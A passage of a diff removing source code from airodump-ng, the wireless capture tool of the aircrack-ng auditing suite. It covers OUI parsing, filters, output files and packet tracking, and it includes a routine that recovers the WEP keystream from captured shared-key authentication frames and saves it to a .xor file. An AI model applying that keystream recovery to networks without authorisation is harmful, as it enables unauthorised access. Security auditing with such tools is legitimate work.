-			memset(oui_ptr->id, 0x00, sizeof(oui_ptr->id));
-			memset(oui_ptr->manuf, 0x00, sizeof(oui_ptr->manuf));
-			snprintf(oui_ptr->id,
-					 sizeof(oui_ptr->id),
-					 "%c%c:%c%c:%c%c",
-					 a[0],
-					 a[1],
-					 b[0],
-					 b[1],
-					 c[0],
-					 c[1]);
-			manuf = get_manufacturer_from_string(buffer);
-			if (manuf != NULL)
-			{
-				snprintf(oui_ptr->manuf, sizeof(oui_ptr->manuf), "%s", manuf);
-				free(manuf);
-			}
-			else
-			{
-				snprintf(oui_ptr->manuf, sizeof(oui_ptr->manuf), "Unknown");
-			}
-			if (oui_head == NULL) oui_head = oui_ptr;
-			oui_ptr->next = NULL;
-		}
-	}
-
-	fclose(fp);
-	return oui_head;
-}
-
-static int check_shared_key(unsigned char * h80211, int caplen)
-{
-	int m_bmac, m_smac, m_dmac, n, textlen, maybe_broken;
-	char ofn[1024];
-	char text[4096];
-	char prga[4096];
-	unsigned int long crc;
-
-	if ((unsigned) caplen > sizeof(G.sharedkey[0])) return 1;
-
-	m_bmac = 16;
-	m_smac = 10;
-	m_dmac = 4;
-
-	if (time(NULL) - G.sk_start > 5)
-	{
-		/* timeout(5sec) - remove all packets, restart timer */
-		memset(G.sharedkey, '\x00', sizeof(G.sharedkey));
-		G.sk_start = time(NULL);
-	}
-
-	/* is auth packet */
-	if ((h80211[1] & 0x40) != 0x40)
-	{
-		/* not encrypted */
-		if ((h80211[24] + (h80211[25] << 8)) == 1)
-		{
-			/* Shared-Key Authentication */
-			if ((h80211[26] + (h80211[27] << 8)) == 2)
-			{
-				/* sequence == 2 */
-				memcpy(G.sharedkey[0], h80211, caplen);
-				G.sk_len = caplen - 24;
-			}
-			if ((h80211[26] + (h80211[27] << 8)) == 4)
-			{
-				/* sequence == 4 */
-				memcpy(G.sharedkey[2], h80211, caplen);
-			}
-		}
-		else
-			return 1;
-	}
-	else
-	{
-		/* encrypted */
-		memcpy(G.sharedkey[1], h80211, caplen);
-		G.sk_len2 = caplen - 24 - 4;
-	}
-
-	/* check if the 3 packets form a proper authentication */
-
-	if ((memcmp(G.sharedkey[0] + m_bmac, NULL_MAC, 6) == 0)
-		|| (memcmp(G.sharedkey[1] + m_bmac, NULL_MAC, 6) == 0)
-		|| (memcmp(G.sharedkey[2] + m_bmac, NULL_MAC, 6)
-			== 0)) /* some bssids == zero */
-	{
-		return 1;
-	}
-
-	if ((memcmp(G.sharedkey[0] + m_bmac, G.sharedkey[1] + m_bmac, 6) != 0)
-		|| (memcmp(G.sharedkey[0] + m_bmac, G.sharedkey[2] + m_bmac, 6)
-			!= 0)) /* all bssids aren't equal */
-	{
-		return 1;
-	}
-
-	if ((memcmp(G.sharedkey[0] + m_smac, G.sharedkey[2] + m_smac, 6) != 0)
-		|| (memcmp(G.sharedkey[0] + m_smac, G.sharedkey[1] + m_dmac, 6)
-			!= 0)) /* SA in 2&4 != DA in 3 */
-	{
-		return 1;
-	}
-
-	if ((memcmp(G.sharedkey[0] + m_dmac, G.sharedkey[2] + m_dmac, 6) != 0)
-		|| (memcmp(G.sharedkey[0] + m_dmac, G.sharedkey[1] + m_smac, 6)
-			!= 0)) /* DA in 2&4 != SA in 3 */
-	{
-		return 1;
-	}
-
-	textlen = G.sk_len;
-
-	maybe_broken = 0;
-
-	/* this check is probably either broken or not very reliable,
-	   since there are known cases when it is hit with valid data.
-	   rather than doing a hard exit here, we now set a flag so
-	   the .xor file is only written if not already existing, in
-	   order to make sure we don't overwrite a good .xor file with
-	   a potentially broken one; but on the other hand if none exist
-	   already, we do want it being written. */
-	if (textlen + 4 != G.sk_len2)
-	{
-		snprintf(G.message,
-				 sizeof(G.message),
-				 "][ Broken SKA?: %02X:%02X:%02X:%02X:%02X:%02X ",
-				 *(G.sharedkey[0] + m_bmac),
-				 *(G.sharedkey[0] + m_bmac + 1),
-				 *(G.sharedkey[0] + m_bmac + 2),
-				 *(G.sharedkey[0] + m_bmac + 3),
-				 *(G.sharedkey[0] + m_bmac + 4),
-				 *(G.sharedkey[0] + m_bmac + 5));
-
-		maybe_broken = 1;
-	}
-
-	if ((unsigned) textlen > sizeof(text) - 4) return 1;
-
-	memcpy(text, G.sharedkey[0] + 24, textlen);
-
-	/* increment sequence number from 2 to 3 */
-	text[2] = text[2] + 1;
-
-	crc = 0xFFFFFFFF;
-
-	for (n = 0; n < textlen; n++)
-		crc = crc_tbl[(crc ^ text[n]) & 0xFF] ^ (crc >> 8);
-
-	crc = ~crc;
-
-	/* append crc32 over body */
-	text[textlen] = (crc) &0xFF;
-	text[textlen + 1] = (crc >> 8) & 0xFF;
-	text[textlen + 2] = (crc >> 16) & 0xFF;
-	text[textlen + 3] = (crc >> 24) & 0xFF;
-
-	/* cleartext XOR cipher */
-	for (n = 0; n < (textlen + 4); n++)
-	{
-		prga[4 + n] = (text[n] ^ G.sharedkey[1][28 + n]) & 0xFF;
-	}
-
-	/* write IV+index */
-	prga[0] = G.sharedkey[1][24] & 0xFF;
-	prga[1] = G.sharedkey[1][25] & 0xFF;
-	prga[2] = G.sharedkey[1][26] & 0xFF;
-	prga[3] = G.sharedkey[1][27] & 0xFF;
-
-	if (G.f_xor != NULL)
-	{
-		fclose(G.f_xor);
-		G.f_xor = NULL;
-	}
-
-	snprintf(ofn,
-			 sizeof(ofn) - 1,
-			 "%s-%02d-%02X-%02X-%02X-%02X-%02X-%02X.%s",
-			 G.prefix,
-			 G.f_index,
-			 *(G.sharedkey[0] + m_bmac),
-			 *(G.sharedkey[0] + m_bmac + 1),
-			 *(G.sharedkey[0] + m_bmac + 2),
-			 *(G.sharedkey[0] + m_bmac + 3),
-			 *(G.sharedkey[0] + m_bmac + 4),
-			 *(G.sharedkey[0] + m_bmac + 5),
-			 "xor");
-
-	if (maybe_broken && (G.f_xor = fopen(ofn, "r")))
-	{
-		/* do not overwrite existing .xor file with maybe broken one */
-		fclose(G.f_xor);
-		G.f_xor = NULL;
-		return 1;
-	}
-
-	G.f_xor = fopen(ofn, "w");
-	if (G.f_xor == NULL) return 1;
-
-	for (n = 0; n < textlen + 8; n++) fputc((prga[n] & 0xFF), G.f_xor);
-
-	fflush(G.f_xor);
-
-	if (G.f_xor != NULL)
-	{
-		fclose(G.f_xor);
-		G.f_xor = NULL;
-	}
-
-	snprintf(G.message,
-			 sizeof(G.message),
-			 "][ %d bytes keystream: %02X:%02X:%02X:%02X:%02X:%02X ",
-			 textlen + 4,
-			 *(G.sharedkey[0] + m_bmac),
-			 *(G.sharedkey[0] + m_bmac + 1),
-			 *(G.sharedkey[0] + m_bmac + 2),
-			 *(G.sharedkey[0] + m_bmac + 3),
-			 *(G.sharedkey[0] + m_bmac + 4),
-			 *(G.sharedkey[0] + m_bmac + 5));
-
-	memset(G.sharedkey, '\x00', sizeof(G.sharedkey));
-	/* ok, keystream saved */
-	return 0;
-}
-
-char usage[] =
-
-	"\n"
-	"  %s - (C) 2006-2018 Thomas d\'Otreppe\n"
-	"  https://www.aircrack-ng.org\n"
-	"\n"
-	"  usage: airodump-ng <options> <interface>[,<interface>,...]\n"
-	"\n"
-	"  Options:\n"
-	"      --ivs                 : Save only captured IVs\n"
-	"      --gpsd                : Use GPSd\n"
-	"      --write      <prefix> : Dump file prefix\n"
-	"      -w                    : same as --write \n"
-	"      --beacons             : Record all beacons in dump file\n"
-	"      --update       <secs> : Display update delay in seconds\n"
-	"      --showack             : Prints ack/cts/rts statistics\n"
-	"      -h                    : Hides known stations for --showack\n"
-	"      -f            <msecs> : Time in ms between hopping channels\n"
-	"      --berlin       <secs> : Time before removing the AP/client\n"
-	"                              from the screen when no more packets\n"
-	"                              are received (Default: 120 seconds)\n"
-	"      -r             <file> : Read packets from that file\n"
-	"      -x            <msecs> : Active Scanning Simulation\n"
-	"      --manufacturer        : Display manufacturer from IEEE OUI list\n"
-	"      --uptime              : Display AP Uptime from Beacon Timestamp\n"
-	"      --wps                 : Display WPS information (if any)\n"
-	"      --output-format\n"
-	"                  <formats> : Output format. Possible values:\n"
-	"                              pcap, ivs, csv, gps, kismet, netxml\n"
-	"      --ignore-negative-one : Removes the message that says\n"
-	"                              fixed channel <interface>: -1\n"
-	"      --write-interval\n"
-	"                  <seconds> : Output file(s) write interval in seconds\n"
-	"      --background <enable> : Override background detection.\n"
-	"\n"
-	"  Filter options:\n"
-	"      --encrypt   <suite>   : Filter APs by cipher suite\n"
-	"      --netmask <netmask>   : Filter APs by mask\n"
-	"      --bssid     <bssid>   : Filter APs by BSSID\n"
-	"      --essid     <essid>   : Filter APs by ESSID\n"
-#ifdef HAVE_PCRE
-	"      --essid-regex <regex> : Filter APs by ESSID using a regular\n"
-	"                              expression\n"
-#endif
-	"      -a                    : Filter unassociated clients\n"
-	"\n"
-	"  By default, airodump-ng hop on 2.4GHz channels.\n"
-	"  You can make it capture on other/specific channel(s) by using:\n"
-	"      --ht20                : Set channel to HT20 (802.11n)\n"
-	"      --ht40-               : Set channel to HT40- (802.11n)\n"
-	"      --ht40+               : Set channel to HT40+ (802.11n)\n"
-	"      --channel <channels>  : Capture on specific channels\n"
-	"      --band <abg>          : Band on which airodump-ng should hop\n"
-	"      -C    <frequencies>   : Uses these frequencies in MHz to hop\n"
-	"      --cswitch  <method>   : Set channel switching method\n"
-	"                    0       : FIFO (default)\n"
-	"                    1       : Round Robin\n"
-	"                    2       : Hop on last\n"
-	"      -s                    : same as --cswitch\n"
-	"\n"
-	"      --help                : Displays this usage screen\n"
-	"\n";
-
-static int is_filtered_netmask(unsigned char * bssid)
-{
-	unsigned char mac1[6];
-	unsigned char mac2[6];
-	int i;
-
-	for (i = 0; i < 6; i++)
-	{
-		mac1[i] = bssid[i] & G.f_netmask[i];
-		mac2[i] = G.f_bssid[i] & G.f_netmask[i];
-	}
-
-	if (memcmp(mac1, mac2, 6) != 0)
-	{
-		return (1);
-	}
-
-	return 0;
-}
-
-static int is_filtered_essid(unsigned char * essid)
-{
-	int ret = 0;
-	int i;
-
-	if (G.f_essid)
-	{
-		for (i = 0; i < G.f_essid_count; i++)
-		{
-			if (strncmp((char *) essid, G.f_essid[i], MAX_IE_ELEMENT_SIZE) == 0)
-			{
-				return 0;
-			}
-		}
-
-		ret = 1;
-	}
-
-#ifdef HAVE_PCRE
-	if (G.f_essid_regex)
-	{
-		return pcre_exec(G.f_essid_regex,
-						 NULL,
-						 (char *) essid,
-						 strnlen((char *) essid, MAX_IE_ELEMENT_SIZE),
-						 0,
-						 0,
-						 NULL,
-						 0)
-			   < 0;
-	}
-#endif
-
-	return ret;
-}
-
-static void update_rx_quality(void)
-{
-	unsigned int time_diff, capt_time, miss_time;
-	int missed_frames;
-	struct AP_info * ap_cur = NULL;
-	struct ST_info * st_cur = NULL;
-	struct timeval cur_time;
-
-	ap_cur = G.ap_1st;
-	st_cur = G.st_1st;
-
-	gettimeofday(&cur_time, NULL);
-
-	/* accesspoints */
-	while (ap_cur != NULL)
-	{
-		time_diff = 1000000UL * (cur_time.tv_sec - ap_cur->ftimer.tv_sec)
-					+ (cur_time.tv_usec - ap_cur->ftimer.tv_usec);
-
-		/* update every `QLT_TIME`seconds if the rate is low, or every 500ms
-		 * otherwise */
-		if ((ap_cur->fcapt >= QLT_COUNT && time_diff > 500000)
-			|| time_diff > (QLT_TIME * 1000000))
-		{
-			/* at least one frame captured */
-			if (ap_cur->fcapt > 1)
-			{
-				capt_time
-					= (1000000UL * (ap_cur->ftimel.tv_sec
-									- ap_cur->ftimef.tv_sec) // time between
-					   // first and last
-					   // captured frame
-					   + (ap_cur->ftimel.tv_usec - ap_cur->ftimef.tv_usec));
-
-				miss_time
-					= (1000000UL * (ap_cur->ftimef.tv_sec
-									- ap_cur->ftimer.tv_sec) // time between
-					   // timer reset and
-					   // first frame
-					   + (ap_cur->ftimef.tv_usec - ap_cur->ftimer.tv_usec))
-					  + (1000000UL * (cur_time.tv_sec
-									  - ap_cur->ftimel.tv_sec) // time between
-						 // last frame and
-						 // this moment
-						 + (cur_time.tv_usec - ap_cur->ftimel.tv_usec));
-
-				// number of frames missed at the time where no frames were
-				// captured; extrapolated by assuming a constant framerate
-				if (capt_time > 0 && miss_time > 200000)
-				{
-					missed_frames
-						= ((float) ((float) miss_time / (float) capt_time)
-						   * ((float) ap_cur->fcapt + (float) ap_cur->fmiss));
-					ap_cur->fmiss += missed_frames;
-				}
-
-				ap_cur->rx_quality = ((float) ((float) ap_cur->fcapt
-											   / ((float) ap_cur->fcapt
-												  + (float) ap_cur->fmiss))
-									  *
-#if defined(__x86_64__) && defined(__CYGWIN__)
-									  (0.0f + 100));
-#else
-									  100.0f);
-#endif
-			}
-			else
-				ap_cur->rx_quality = 0; /* no packets -> zero quality */
-
-			/* normalize, in case the seq numbers are not iterating */
-			if (ap_cur->rx_quality > 100) ap_cur->rx_quality = 100;
-			if (ap_cur->rx_quality < 0) ap_cur->rx_quality = 0;
-
-			/* reset variables */
-			ap_cur->fcapt = 0;
-			ap_cur->fmiss = 0;
-			gettimeofday(&(ap_cur->ftimer), NULL);
-		}
-		ap_cur = ap_cur->next;
-	}
-
-	/* stations */
-	while (st_cur != NULL)
-	{
-		time_diff = 1000000UL * (cur_time.tv_sec - st_cur->ftimer.tv_sec)
-					+ (cur_time.tv_usec - st_cur->ftimer.tv_usec);
-
-		if (time_diff > 10000000)
-		{
-			st_cur->missed = 0;
-			gettimeofday(&(st_cur->ftimer), NULL);
-		}
-
-		st_cur = st_cur->next;
-	}
-}
-
-/* setup the output files */
-
-static int dump_initialize(char * prefix, int ivs_only)
-{
-	int i, ofn_len;
-	FILE * f;
-	char * ofn = NULL;
-
-	/* If you only want to see what happening, send all data to /dev/null */
-
-	if (prefix == NULL || strlen(prefix) == 0)
-	{
-		return (0);
-	}
-
-	/* Create a buffer of the length of the prefix + '-' + 2 numbers + '.'
-	   + longest extension ("kismet.netxml") + terminating 0. */
-	ofn_len = strlen(prefix) + 1 + 2 + 1 + 13 + 1;
-	ofn = (char *) calloc(1, ofn_len);
-
-	G.f_index = 1;
-
-	/* Make sure no file with the same name & all possible file extensions. */
-	do
-	{
-		for (i = 0; i < NB_EXTENSIONS; i++)
-		{
-			memset(ofn, 0, ofn_len);
-			snprintf(ofn, ofn_len, "%s-%02d.%s", prefix, G.f_index, f_ext[i]);
-
-			if ((f = fopen(ofn, "rb+")) != NULL)
-			{
-				fclose(f);
-				G.f_index++;
-				break;
-			}
-		}
-	}
-	/* If we did all extensions then no file with that name or extension exist
-	   so we can use that number */
-	while (i < NB_EXTENSIONS);
-
-	G.prefix = (char *) malloc(strlen(prefix) + 1);
-	memcpy(G.prefix, prefix, strlen(prefix) + 1);
-
-	/* create the output CSV file */
-
-	if (G.output_format_csv)
-	{
-		memset(ofn, 0, ofn_len);
-		snprintf(
-			ofn, ofn_len, "%s-%02d.%s", prefix, G.f_index, AIRODUMP_NG_CSV_EXT);
-
-		if ((G.f_txt = fopen(ofn, "wb+")) == NULL)
-		{
-			perror("fopen failed");
-			fprintf(stderr, "Could not create \"%s\".\n", ofn);
-			free(ofn);
-			return (1);
-		}
-	}
-
-	/* create the output Kismet CSV file */
-	if (G.output_format_kismet_csv)
-	{
-		memset(ofn, 0, ofn_len);
-		snprintf(ofn, ofn_len, "%s-%02d.%s", prefix, G.f_index, KISMET_CSV_EXT);
-
-		if ((G.f_kis = fopen(ofn, "wb+")) == NULL)
-		{
-			perror("fopen failed");
-			fprintf(stderr, "Could not create \"%s\".\n", ofn);
-			free(ofn);
-			return (1);
-		}
-	}
-
-	/* create the output GPS file */
-
-	if (G.usegpsd)
-	{
-		memset(ofn, 0, ofn_len);
-		snprintf(
-			ofn, ofn_len, "%s-%02d.%s", prefix, G.f_index, AIRODUMP_NG_GPS_EXT);
-
-		if ((G.f_gps = fopen(ofn, "wb+")) == NULL)
-		{
-			perror("fopen failed");
-			fprintf(stderr, "Could not create \"%s\".\n", ofn);
-			free(ofn);
-			return (1);
-		}
-	}
-
-	/* Create the output kismet.netxml file */
-
-	if (G.output_format_kismet_netxml)
-	{
-		memset(ofn, 0, ofn_len);
-		snprintf(
-			ofn, ofn_len, "%s-%02d.%s", prefix, G.f_index, KISMET_NETXML_EXT);
-
-		if ((G.f_kis_xml = fopen(ofn, "wb+")) == NULL)
-		{
-			perror("fopen failed");
-			fprintf(stderr, "Could not create \"%s\".\n", ofn);
-			free(ofn);
-			return (1);
-		}
-	}
-
-	/* create the output packet capture file */
-	if (G.output_format_pcap)
-	{
-		struct pcap_file_header pfh;
-
-		memset(ofn, 0, ofn_len);
-		snprintf(
-			ofn, ofn_len, "%s-%02d.%s", prefix, G.f_index, AIRODUMP_NG_CAP_EXT);
-
-		if ((G.f_cap = fopen(ofn, "wb+")) == NULL)
-		{
-			perror("fopen failed");
-			fprintf(stderr, "Could not create \"%s\".\n", ofn);
-			free(ofn);
-			return (1);
-		}
-
-		G.f_cap_name = (char *) malloc(strlen(ofn) + 1);
-		memcpy(G.f_cap_name, ofn, strlen(ofn) + 1);
-		free(ofn);
-
-		pfh.magic = TCPDUMP_MAGIC;
-		pfh.version_major = PCAP_VERSION_MAJOR;
-		pfh.version_minor = PCAP_VERSION_MINOR;
-		pfh.thiszone = 0;
-		pfh.sigfigs = 0;
-		pfh.snaplen = 65535;
-		pfh.linktype = LINKTYPE_IEEE802_11;
-
-		if (fwrite(&pfh, 1, sizeof(pfh), G.f_cap) != (size_t) sizeof(pfh))
-		{
-			perror("fwrite(pcap file header) failed");
-			return (1);
-		}
-	}
-	else if (ivs_only)
-	{
-		struct ivs2_filehdr fivs2;
-
-		fivs2.version = IVS2_VERSION;
-
-		memset(ofn, 0, ofn_len);
-		snprintf(ofn, ofn_len, "%s-%02d.%s", prefix, G.f_index, IVS2_EXTENSION);
-
-		if ((G.f_ivs = fopen(ofn, "wb+")) == NULL)
-		{
-			perror("fopen failed");
-			fprintf(stderr, "Could not create \"%s\".\n", ofn);
-			free(ofn);
-			return (1);
-		}
-		free(ofn);
-
-		if (fwrite(IVS2_MAGIC, 1, 4, G.f_ivs) != (size_t) 4)
-		{
-			perror("fwrite(IVs file MAGIC) failed");
-			return (1);
-		}
-
-		if (fwrite(&fivs2, 1, sizeof(struct ivs2_filehdr), G.f_ivs)
-			!= (size_t) sizeof(struct ivs2_filehdr))
-		{
-			perror("fwrite(IVs file header) failed");
-			return (1);
-		}
-	}
-	else
-	{
-		free(ofn);
-	}
-
-	return (0);
-}
-
-static int update_dataps(void)
-{
-	struct timeval tv;
-	struct AP_info * ap_cur;
-	struct NA_info * na_cur;
-	int sec, usec, diff, ps;
-	float pause;
-
-	gettimeofday(&tv, NULL);
-
-	ap_cur = G.ap_end;
-
-	while (ap_cur != NULL)
-	{
-		sec = (tv.tv_sec - ap_cur->tv.tv_sec);
-		usec = (tv.tv_usec - ap_cur->tv.tv_usec);
-#if defined(__x86_64__) && defined(__CYGWIN__)
-		pause
-			= (((float) (sec * (0.0f + 1000000) + usec)) / ((0.0f + 1000000)));
-#else
-		pause = (((float) (sec * 1000000.0f + usec)) / (1000000.0f));
-#endif
-		if (pause > 2.0f)
-		{
-			diff = ap_cur->nb_data - ap_cur->nb_data_old;
-			ps = (int) (((float) diff) / pause);
-			ap_cur->nb_dataps = ps;
-			ap_cur->nb_data_old = ap_cur->nb_data;
-			gettimeofday(&(ap_cur->tv), NULL);
-		}
-		ap_cur = ap_cur->prev;
-	}
-
-	na_cur = G.na_1st;
-
-	while (na_cur != NULL)
-	{
-		sec = (tv.tv_sec - na_cur->tv.tv_sec);
-		usec = (tv.tv_usec - na_cur->tv.tv_usec);
-#if defined(__x86_64__) && defined(__CYGWIN__)
-		pause
-			= (((float) (sec * (0.0f + 1000000) + usec)) / ((0.0f + 1000000)));
-#else
-		pause = (((float) (sec * 1000000.0f + usec)) / (1000000.0f));
-#endif
-		if (pause > 2.0f)
-		{
-			diff = na_cur->ack - na_cur->ack_old;
-			ps = (int) (((float) diff) / pause);
-			na_cur->ackps = ps;
-			na_cur->ack_old = na_cur->ack;
-			gettimeofday(&(na_cur->tv), NULL);
-		}
-		na_cur = na_cur->next;
-	}
-	return (0);
-}
-
-static int list_tail_free(struct pkt_buf ** list)
-{
-	struct pkt_buf ** pkts;
-	struct pkt_buf * next;
-
-	if (list == NULL) return 1;
-
-	pkts = list;
-
-	while (*pkts != NULL)
-	{
-		next = (*pkts)->next;
-		if ((*pkts)->packet)
-		{
-			free((*pkts)->packet);
-			(*pkts)->packet = NULL;
-		}
-
-		if (*pkts)
-		{
-			free(*pkts);
-			*pkts = NULL;
-		}
-		*pkts = next;
-	}
-
-	*list = NULL;
-
-	return 0;
-}
-
-static int
-list_add_packet(struct pkt_buf ** list, int length, unsigned char * packet)
-{
-	struct pkt_buf * next;
-
-	if (length <= 0) return 1;
-	if (packet == NULL) return 1;
-	if (list == NULL) return 1;
-
-	next = *list;
-
-	*list = (struct pkt_buf *) malloc(sizeof(struct pkt_buf));
-	if (*list == NULL) return 1;
-	(*list)->packet = (unsigned char *) malloc(length);
-	if ((*list)->packet == NULL) return 1;
-
-	memcpy((*list)->packet, packet, length);
-	(*list)->next = next;
-	(*list)->length = length;
-	gettimeofday(&((*list)->ctime), NULL);
-
-	return 0;
-}
-
-/*
- * Check if the same IV was used if the first two bytes were the same.
- * If they are not identical, it would complain.
- * The reason is that the first two bytes unencrypted are 'aa'
- * so with the same IV it should always be encrypted to the same thing.
- */
-static int
-list_check_decloak(struct pkt_buf ** list, int length, unsigned char * packet)
-{
-	struct pkt_buf * next;
-	struct timeval tv1;
-	int timediff;
-	int i, correct;
-
-	if (packet == NULL) return 1;
-	if (list == NULL) return 1;
-	if (*list == NULL) return 1;
-	if (length <= 0) return 1;
-	next = *list;
-
-	gettimeofday(&tv1, NULL);
-
-	timediff = (((tv1.tv_sec - ((*list)->ctime.tv_sec)) * 1000000UL)
-				+ (tv1.tv_usec - ((*list)->ctime.tv_usec)))
-			   / 1000;
-	if (timediff > BUFFER_TIME)
-	{
-		list_tail_free(list);
-		next = NULL;
-	}
-
-	while (next != NULL)
-	{
-		if (next->next != NULL)
-		{
-			timediff = (((tv1.tv_sec - (next->next->ctime.tv_sec)) * 1000000UL)
-						+ (tv1.tv_usec - (next->next->ctime.tv_usec)))
-					   / 1000;
-			if (timediff > BUFFER_TIME)
-			{
-				list_tail_free(&(next->next));
-				break;
-			}
-		}
-		if ((next->length + 4) == length)
-		{
-			correct = 1;
-			// check for 4 bytes added after the end
-			for (i = 28; i < length - 28; i++) // check everything (in the old
-			// packet) after the IV
-			// (including crc32 at the end)
-			{
-				if (next->packet[i] != packet[i])
-				{
-					correct = 0;
-					break;
-				}
-			}
-			if (!correct)
-			{
-				correct = 1;
-				// check for 4 bytes added at the beginning
-				for (i = 28; i < length - 28; i++) // check everything (in the
-				// old packet) after the IV
-				// (including crc32 at the
-				// end)
-				{
-					if (next->packet[i] != packet[4 + i])
-					{
-						correct = 0;
-						break;
-					}
-				}
-			}
-			if (correct == 1) return 0; // found decloaking!
-		}
-		next = next->next;
-	}
-
-	return 1; // didn't find decloak
-}
-
-static int remove_namac(unsigned char * mac)
-{
-	struct NA_info * na_cur = NULL;
-	struct NA_info * na_prv = NULL;
-
-	if (mac == NULL) return (-1);
-
-	na_cur = G.na_1st;
-	na_prv = NULL;
-
-	while (na_cur != NULL)
-	{
-		if (!memcmp(na_cur->namac, mac, 6)) break;
-
-		na_prv = na_cur;
-		na_cur = na_cur->next;
-	}
-
-	/* if it's known, remove it */
-	if (na_cur != NULL)
-	{
-		/* first in linked list */
-		if (na_cur == G.na_1st)
-		{
-			G.na_1st = na_cur->next;
-		}
-		else
-		{
-			na_prv->next = na_cur->next;
-		}
-		free(na_cur);
-		na_cur = NULL;
-	}
-
-	return (0);
-}
-
-static int dump_add_packet(unsigned char * h80211,
-						   int caplen,
-						   struct rx_info * ri,
-						   int cardnum)
-{
-	int i, n, seq, msd, dlen, offset, clen, o;
-	unsigned z;
-	int type, length, numuni = 0, numauth = 0;
-	struct pcap_pkthdr pkh;
-	struct timeval tv;
-	struct ivs2_pkthdr ivs2;
-	unsigned char *p, *org_p, c;
-	unsigned char bssid[6];
-	unsigned char stmac[6];
-	unsigned char namac[6];
-	unsigned char clear[2048];
-	int weight[16];
-	int num_xor = 0;
-
-	struct AP_info * ap_cur = NULL;
-	struct ST_info * st_cur = NULL;
-	struct NA_info * na_cur = NULL;
-	struct AP_info * ap_prv = NULL;
-	struct ST_info * st_prv = NULL;
-	struct NA_info * na_prv = NULL;
-
-	/* skip all non probe response frames in active scanning simulation mode */
-	if (G.active_scan_sim > 0 && h80211[0] != 0x50) return (0);
-
-	/* skip packets smaller than a 802.11 header */
-
-	if (caplen < 24) goto write_packet;
-
-	/* skip (uninteresting) control frames */
-
-	if ((h80211[0] & 0x0C) == 0x04) goto write_packet;
-
-	/* if it's a LLC null packet, just forget it (may change in the future) */
-
-	if (caplen > 28)
-		if (memcmp(h80211 + 24, llcnull, 4) == 0) return (0);
-
-	/* grab the sequence number */
-	seq = ((h80211[22] >> 4) + (h80211[23] << 4));
-
-	/* locate the access point's MAC address */
-
-	switch (h80211[1] & 3)
-	{
-		case 0:
-			memcpy(bssid, h80211 + 16, 6);
-			break; // Adhoc
-		case 1:
-			memcpy(bssid, h80211 + 4, 6);
-			break; // ToDS
-		case 2:
-			memcpy(bssid, h80211 + 10, 6);
-			break; // FromDS
-		case 3:
-			memcpy(bssid, h80211 + 10, 6);
-			break; // WDS -> Transmitter taken as BSSID
-	}
-
-	if (memcmp(G.f_bssid, NULL_MAC, 6) != 0)
-	{
-		if (memcmp(G.f_netmask, NULL_MAC, 6) != 0)
-		{
-			if (is_filtered_netmask(bssid)) return (1);
-		}
-		else
-		{
-			if (memcmp(G.f_bssid, bssid, 6) != 0) return (1);
-		}
-	}
-
-	/* update our chained list of access points */
-
-	ap_cur = G.ap_1st;
-	ap_prv = NULL;
-
-	while (ap_cur != NULL)
-	{
-		if (!memcmp(ap_cur->bssid, bssid, 6)) break;
-
-		ap_prv = ap_cur;
-		ap_cur = ap_cur->next;
-	}
-
-	/* if it's a new access point, add it */
-
-	if (ap_cur == NULL)
-	{
-		if (!(ap_cur = (struct AP_info *) malloc(sizeof(struct AP_info))))
-		{
-			perror("malloc failed");
-			return (1);
-		}
-
-		/* if mac is listed as unknown, remove it */
-		remove_namac(bssid);
-
-		memset(ap_cur, 0, sizeof(struct AP_info));
-
-		if (G.ap_1st == NULL)
-			G.ap_1st = ap_cur;
-		else
-			ap_prv->next = ap_cur;
-
-		memcpy(ap_cur->bssid, bssid, 6);
-		if (ap_cur->manuf == NULL)
-		{
-			ap_cur->manuf = get_manufacturer(
-				ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2]);
-		}
-
-		ap_cur->nb_pkt = 0;
-		ap_cur->prev = ap_prv;
-
-		ap_cur->tinit = time(NULL);
-		ap_cur->tlast = time(NULL);
-
-		ap_cur->avg_power = -1;
-		ap_cur->best_power = -1;
-		ap_cur->power_index = -1;
-
-		for (i = 0; i < NB_PWR; i++) ap_cur->power_lvl[i] = -1;
-
-		ap_cur->channel = -1;
-		ap_cur->max_speed = -1;
-		ap_cur->security = 0;
-
-		ap_cur->uiv_root = uniqueiv_init();
-
-		ap_cur->nb_data = 0;
-		ap_cur->nb_dataps = 0;
-		ap_cur->nb_data_old = 0;
-		gettimeofday(&(ap_cur->tv), NULL);
-
-		ap_cur->dict_started = 0;
-
-		ap_cur->key = NULL;
-
-		G.ap_end = ap_cur;
-
-		ap_cur->nb_bcn = 0;
-
-		ap_cur->rx_quality = 0;
-		ap_cur->fcapt = 0;
-		ap_cur->fmiss = 0;
-		ap_cur->last_seq = 0;
-		gettimeofday(&(ap_cur->ftimef), NULL);
-		gettimeofday(&(ap_cur->ftimel), NULL);
-		gettimeofday(&(ap_cur->ftimer), NULL);
-
-		ap_cur->ssid_length = 0;
-		ap_cur->essid_stored = 0;
-		memset(ap_cur->essid, 0, MAX_IE_ELEMENT_SIZE);
-		ap_cur->timestamp = 0;
-
-		ap_cur->decloak_detect = G.decloak;
-		ap_cur->is_decloak = 0;
-		ap_cur->packets = NULL;
-
-		ap_cur->marked = 0;
-		ap_cur->marked_color = 1;
-
-		ap_cur->data_root = NULL;
-		ap_cur->EAP_detected = 0;
-		memcpy(ap_cur->gps_loc_min, G.gps_loc, sizeof(float) * 5);
-		memcpy(ap_cur->gps_loc_max, G.gps_loc, sizeof(float) * 5);
-		memcpy(ap_cur->gps_loc_best, G.gps_loc, sizeof(float) * 5);
-
-		/* 802.11n and ac */
-		ap_cur->channel_width = CHANNEL_22MHZ; // 20MHz by default
-		memset(ap_cur->standard, 0, 3);
-
-		ap_cur->n_channel.sec_channel = -1;
-		ap_cur->n_channel.short_gi_20 = 0;
-		ap_cur->n_channel.short_gi_40 = 0;
-		ap_cur->n_channel.any_chan_width = 0;
-		ap_cur->n_channel.mcs_index = -1;
-
-		ap_cur->ac_channel.center_sgmt[0] = 0;
-		ap_cur->ac_channel.center_sgmt[1] = 0;
-		ap_cur->ac_channel.mu_mimo = 0;
-		ap_cur->ac_channel.short_gi_80 = 0;
-		ap_cur->ac_channel.short_gi_160 = 0;
-		ap_cur->ac_channel.split_chan = 0;
-		ap_cur->ac_channel.mhz_160_chan = 0;
-		ap_cur->ac_channel.wave_2 = 0;
-		memset(ap_cur->ac_channel.mcs_index, 0, MAX_AC_MCS_INDEX);
-	}
-
-	/* update the last time seen */
-
-	ap_cur->tlast = time(NULL);
-
-	/* only update power if packets comes from
-	 * the AP: either type == mgmt and SA == BSSID,
-	 * or FromDS == 1 and ToDS == 0 */
-
-	if (((h80211[1] & 3) == 0 && memcmp(h80211 + 10, bssid, 6) == 0)
